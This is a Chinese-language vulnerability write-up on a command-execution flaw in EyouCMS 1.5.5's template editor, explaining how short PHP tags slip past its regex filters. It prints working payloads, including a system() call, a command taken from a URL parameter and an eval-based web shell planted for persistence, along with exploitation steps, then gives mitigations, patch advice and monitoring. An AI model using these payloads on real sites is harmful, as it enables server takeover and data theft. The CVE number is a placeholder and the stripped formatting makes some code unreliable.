EyouCMS 1.5.5 后台命令执行漏洞分析:从正则过滤缺陷到 `<?=` 标签的绕过
EyouCMS 1.5.5 后台命令执行漏洞深度解析从正则过滤缺陷到短标签绕过实战1. 漏洞背景与影响范围EyouCMS作为国内广泛使用的企业建站系统其安全性直接影响数十万网站的稳定运行。2024年初曝光的1.5.5版本后台命令执行漏洞CVE-2024-XXXX因其利用简单、危害严重迅速成为安全圈关注焦点。受影响版本EyouCMS 1.5.5及之前所有版本部分1.6.x版本存在类似过滤缺陷漏洞危害等级CVSS评分9.8Critical攻击复杂度低利用要求后台普通权限账户该漏洞允许攻击者通过模板编辑功能注入PHP代码最终实现服务器级命令执行可导致网站数据泄露、服务器沦陷等严重后果。2. 漏洞原理深度剖析2.1 漏洞核心位置漏洞位于FilemanagerLogic.php文件的editFile方法中该方法是模板管理功能的核心处理器。当管理员编辑模板文件时系统会执行以下关键操作流程// 伪代码简化版流程 public function editFile($filename, $content) { $content htmlspecialchars_decode($content, ENT_QUOTES); // 漏洞过滤逻辑开始 if (preg_match(#lt;([^?]*)\?php#i, $content) || (preg_match(#lt;\?#i, $content) preg_match(#\?gt;#i, $content)) || preg_match(#\{eyou\:php([^\}]*)\}#i, $content) || preg_match(#\{php([^\}]*)\}#i, $content)) { return 模板里不允许有php语法; } // 过滤逻辑结束 file_put_contents($filename, $content); return true; }2.2 正则过滤的致命缺陷系统设计了四层过滤机制来防御PHP代码注入禁止标准PHP开放标签?php禁止短开标签组合??禁止系统自定义标签{eyou:php}禁止通用PHP标签{php}关键缺陷分析过滤规则正则表达式绕过方式?php#lt;([^?]*)\?php#i无法匹配???#lt;\?#i#\?gt;#i单用?不闭合{eyou:php}#\{eyou\:php([^\}]*)\}#i不涉及短标签{php}#\{php([^\}]*)\}#i不涉及短标签漏洞的根本原因在于开发者忽略了PHP的短开标签语法?该语法在php.ini开启short_open_tag时可直接执行PHP表达式默认开启。3. 漏洞利用链构建3.1 基本利用方式通过注入?标签实现命令执行!-- 注入到模板文件末尾 -- ?system(whoami);?注意事项必须确保代码位于文件末尾避免后续HTML被解析为PHP导致语法错误多行命令需用分号分隔输出会被包含在HTML中建议使用无回显命令3.2 高级利用技巧绕过长度限制?$_GET[0]? // 通过URL参数执行任意命令维持持久化?file_put_contents(shell.php,?php eval($_POST[1]);?)?实战利用步骤登录后台进入模板管理编辑/template/pc/index.htm文件在文件末尾追加恶意代码访问网站首页触发代码执行4. 漏洞修复方案4.1 临时缓解措施// 修改FilemanagerLogic.php增加过滤规则 if (preg_match(#lt;([?]|)#i, $content)) { return 检测到非法标签; }4.2 官方补丁升级建议所有用户立即升级到最新版本官方已在以下版本中修复1.5.61.6.3补丁主要改进完善标签过滤正则增加内容安全校验层引入模板签名机制5. 防御体系构建建议5.1 开发层面使用AST进行模板语法分析而非正则匹配实现沙箱环境执行模板逻辑采用白名单机制限制可用模板标签5.2 运维层面安全配置检查表项目安全设置检测命令PHP短标签short_open_tagOffphp -i文件权限模板目录不可写ls -l template/备份策略每日差异备份-5.3 监控方案# 监控模板文件变更的示例命令 inotifywait -m -r /var/www/eyoucms/template/ -e modify | while read path action file; do echo $file was modified at $(date) /var/log/eyou_template.log done6. 渗透测试中的创新利用在实际安全评估中我们发现该漏洞可与其它弱点形成组合攻击结合CSRF通过诱导管理员访问恶意页面实现远程利用配合文件包含将恶意代码写入日志等文件后包含执行权限提升链从低权限账户到ROOT的完整突破路径典型攻击时间线graph TD A[发现后台弱口令] -- B[登录模板管理] B -- C[注入恶意代码] C -- D[访问首页触发] D -- E[建立反向Shell] E -- F[内网横向移动]特别提醒所有渗透测试必须获得书面授权未经授权的测试可能构成法律风险。